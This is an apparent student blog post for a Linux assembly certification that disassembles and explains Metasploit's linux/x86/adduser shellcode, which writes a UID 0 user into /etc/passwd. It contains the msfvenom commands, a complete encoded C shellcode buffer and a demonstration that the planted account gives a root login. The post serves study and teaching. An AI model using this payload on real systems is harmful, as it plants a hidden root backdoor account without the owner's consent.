The fifth SLAE assignment consists in analyzing three shellcode samples from Metasploit.
The msfvenom
tool can be used to generate the shellcode. It combines the msfencode
and msfpayload
command line utilities.
Metasploit ships with a ton of payloads for different architectures. We are interested in the ones for linux/x86
.
$ msfvenom -l payloads | grep linux/x86
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
[…]
The first shellcode that will be analyzed is linux/x86/adduser
. Let’s see what are the available options.
$ msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser
Name: Linux Add User
Module: payload/linux/x86/adduser
Platform: Linux
Arch: x86
Needs Admin: Yes
Total size: 219
Rank: Normal
Provided by:
skape <mmiller@hick.org>
vlad902 <vlad902@gmail.com>
spoonm <spoonm@no$email.com>
Basic options:
Name Current Setting Required Description
—— ——————— ———— —————
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
Description:
Create a new user with UID 0
Both the default username and password are set to metasploit
, but they can be changed from the command line.
The following command creates the adduser
payload with a custom user and password, outputs it in binary format, and pipes the output to the ndisasm
disassembler to get the equivalent assembly code. -u
indicates that we are working in 32-bit mode.
$ msfvenom -p linux/x86/adduser USER=username PASS=password -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E826000000 call dword 0x51
0000002B 7573 jnz 0xa0
0000002D 65726E gs jc 0x9e
00000030 61 popad
00000031 6D insd
00000032 653A417A cmp al,[gs:ecx+0x7a]
00000036 53 push ebx
00000037 7A42 jpe 0x7b
00000039 327579 xor dh,[ebp+0x79]
0000003C 384A46 cmp [edx+0x46],cl
0000003F 6C insb
00000040 6B3A30 imul edi,[edx],byte +0x30
00000043 3A30 cmp dh,[eax]
00000045 3A3A cmp bh,[edx]
00000047 2F das
00000048 3A2F cmp ch,[edi]
0000004A 62696E bound ebp,[ecx+0x6e]
0000004D 2F das
0000004E 7368 jnc 0xb8
00000050 0A598B or bl,[ecx-0x75]
00000053 51 push ecx
00000054 FC cld
00000055 6A04 push byte +0x4
00000057 58 pop eax
00000058 CD80 int 0x80
0000005A 6A01 push byte +0x1
0000005C 58 pop eax
0000005D CD80 int 0x80
Every time the int 0x80
instruction appears, the eax
register will contain the syscall number. This allows us to identify the system calls being used and infer the parameter values.
xor ecx,ecx
mov ebx,ecx
push byte +0x46
pop eax
int 0x80
This section calls the syscall number 0x46
(70 in base 10). A quick grep
shows that it is the setreuid
system call.
$ grep 70 /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_setreuid 70
The signature of setreuid
is as follows.
int setreuid(uid_t ruid, uid_t euid);
ebx
and ecx
are zero and serve as the ruid
and euid
parameters, so setreuid
will set the effective and real user ID to 0 (root). This is done in order to elevate privileges if the running process has dropped them.
push byte +0x5
pop eax
xor ecx,ecx
push ecx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
mov ebx,esp
inc ecx
mov ch,0x4
int 0x80
The second part of the program invokes the system call number 5, which is the open
syscall. man 2 open
shows the relevant signature.
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
ebx
contains the file path. We can see that some values are pushed onto the stack and then the mov ebx,esp
instruction takes place. Decoding the hex values to ASCII makes it easier to understand.
>>> "64777373".decode("hex")
‘dwss’
>>> "61702f2f".decode("hex")
‘ap//‘
>>> "6374652f".decode("hex")
‘cte/‘
The file path passed to open
is /etc/passwd
. There’s an extra /
added so the length is multiple of 4.
The value of the ecx
register is set to 0x00000401
. We can check which flags correspond to that value in the /usr/include/asm-generic/fcntl.h
file.
#define O_WRONLY 00000001
[…]
#define O_NOCTTY 00000400 /* not fcntl */
O_WRONLY
opens the file for writing. O_NOCTTY
is not so self explanatory, so here’s the info from the manpage.
If pathname refers to a terminal device—see tty(4)—it will not
become the process’s controlling terminal even if the process
does not have one.
The final call to open
looks like the following.
open("/etc/passwd", O_WRONLY | O_NOCTTY);
If the operation succeeds, eax
will hold the file descriptor.
00000025 93 xchg eax,ebx
00000026 E826000000 call dword 0x51
0000002B 7573 jnz 0xa0
0000002D 65726E gs jc 0x9e
00000030 61 popad
00000031 6D insd
00000032 653A417A cmp al,[gs:ecx+0x7a]
00000036 53 push ebx
00000037 7A42 jpe 0x7b
00000039 327579 xor dh,[ebp+0x79]
0000003C 384A46 cmp [edx+0x46],cl
0000003F 6C insb
00000040 6B3A30 imul edi,[edx],byte +0x30
00000043 3A30 cmp dh,[eax]
00000045 3A3A cmp bh,[edx]
00000047 2F das
00000048 3A2F cmp ch,[edi]
0000004A 62696E bound ebp,[ecx+0x6e]
0000004D 2F das
0000004E 7368 jnc 0xb8
00000050 0A598B or bl,[ecx-0x75]
00000053 51 push ecx
00000054 FC cld
00000055 6A04 push byte +0x4
00000057 58 pop eax
00000058 CD80 int 0x80
Moving on to the next block. The first instruction stores the file descriptor in ebx
. We then see a call 0x51
instruction followed by a lot of seemingly random stuff.
Looking at the offsets in our disassembly, we can see that 0x51
is one byte past the beginning of the 0A598B
instruction. 0A
is the hexadecimal representation of the newline character, so all the gibberish in between might in fact be a string.
A simple way to test it is to try converting the opcodes from 0000002B
to 00000050
to ASCII.
>>> "757365726E616D653A417A537A42327579384A466C6B3A303A303A3A2F3A2F62696E2F73680A".decode("hex")
'username:AzSzB2uy8JFlk:0:0::/:/bin/sh\n'
The string contains our desired username and the encrypted password. To verify the password, we can either encrypt ‘password’ with the DES algorithm and see if it matches AzSzB2uy8JFlk
, or try to decrypt it with a password cracker. Let’s do the latter using John the Ripper.
$ echo "username:AzSzB2uy8JFlk:0:0::/:/bin/sh" > crackme
$ john crackme
Created directory: /home/xmgv/.john
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2])
Press 'q' or Ctrl-C to abort, almost any other key for status
password (username)
1g 0:00:00:00 100% 2/3 100.0g/s 33300p/s 33300c/s 33300C/s 123456..marley
Use the "—show" option to display all of the cracked passwords reliably
Session completed
Now we need to disassemble the payload again, but skipping the string declaration. The ndisasm
manpage describes how to do exactly that.
-k offset,length
Specifies that length bytes, starting from disassembly
offset offset, should be skipped over without
generating any output. The skipped bytes still count
towards the calculation of the disassembly offset.
To skip the 0000002B
to 00000050
range, the offset should be 0x2B
(43) and the length 0x26
(38).
$ msfvenom -p linux/x86/adduser USER=username PASS=password -f raw | ndisasm -u -k 43,38 -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E826000000 call dword 0x51
0000002B skipping 0x26 bytes
00000051 59 pop ecx
00000052 8B51FC mov edx,[ecx-0x4]
00000055 6A04 push byte +0x4
00000057 58 pop eax
00000058 CD80 int 0x80
0000005A 6A01 push byte +0x1
0000005C 58 pop eax
0000005D CD80 int 0x80
This looks much better. Let’s go back to the block we were analyzing before.
00000025 93 xchg eax,ebx
00000026 E826000000 call dword 0x51
0000002B skipping 0x26 bytes
00000051 59 pop ecx
00000052 8B51FC mov edx,[ecx-0x4]
00000055 6A04 push byte +0x4
00000057 58 pop eax
00000058 CD80 int 0x80
The first instruction stores the file descriptor in the ebx
register. Then the call
instruction pushes the current code location onto the stack and performs an unconditional jump to the code located at offset 0x51
, which is the pop ecx
instruction. The last value on the stack is the address of the string we want to write to /etc/passwd
, so ecx
points to it.
mov edx,[ecx-0x4]
The value of ecx
in our disassembly is 0x2B
, so after this instruction is executed edx
will have the value stored at 0x2B - 0x4 = 0x27
. This offset falls in the middle of the call
instruction: E826000000. In fact, 0x26
is the length of the string we are going to write.
Finally, eax
is set to 4 and the write
syscall is invoked.
ssize_t write(int fd, const void *buf, size_t count);
As we can see, the values in ebx
, ecx
and edx
match with the system call signature.
push byte +0x1
pop eax
int 0x80
The final piece of code calls exit
and ends the program.
Let’s actually execute the payload and verify its behavior. We’ll use msfvenom
to output a C formatted shellcode that is free of null bytes.
$ msfvenom -p linux/x86/adduser USER=username PASS=password -f c -b '\x00'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 122 (iteration=0)
unsigned char buf[] =
"\xbf\xf7\x1a\x5e\xf7\xd9\xf7\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x18\x83\xc3\x04\x31\x7b\x11\x03\x7b\x11\xe2\x02\x2b\x97\x7e"
"\x27\x26\x61\xd9\x7a\x37\x07\xdc\xdc\x09\x11\x8f\xb4\x1a\xd2"
"\x47\x20\xb5\x3b\x87\xd8\x24\x2c\xf8\x7d\xd3\xcf\x8f\x9e\x5a"
"\xa5\x94\xad\xdd\x56\x7c\x0b\xde\x58\x7d\x26\xad\x3d\x0f\xa6"
"\x30\xd3\x8a\x0c\xf2\x51\x06\x0a\xb6\x97\xdd\x93\x0e\x92\x5b"
"\x0f\x04\x18\x54\xf5\xea\x66\xae\x26\x31\xb8\xac\x51\x2b\xe9"
"\x43\xc9\xb9\xac\x28\x58\x42\x24\x2b\x02\x77\x39\x59\xb3\xdf"
"\xf7\x1e";
Keep in mind that the payload needs to be run as root. Regular users don’t have permissions to write to the /etc/passwd
file.
We can then verify that a new entry was added and do a login.
$ tail -1 /etc/passwd
username:AzSzB2uy8JFlk:0:0::/:/bin/sh
$ su username
Password:
# id
uid=0(root) gid=0(root) groups=0(root)
This post ended up being much longer than I anticipated, so the two remaining shellcodes will be analyzed in future posts.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-651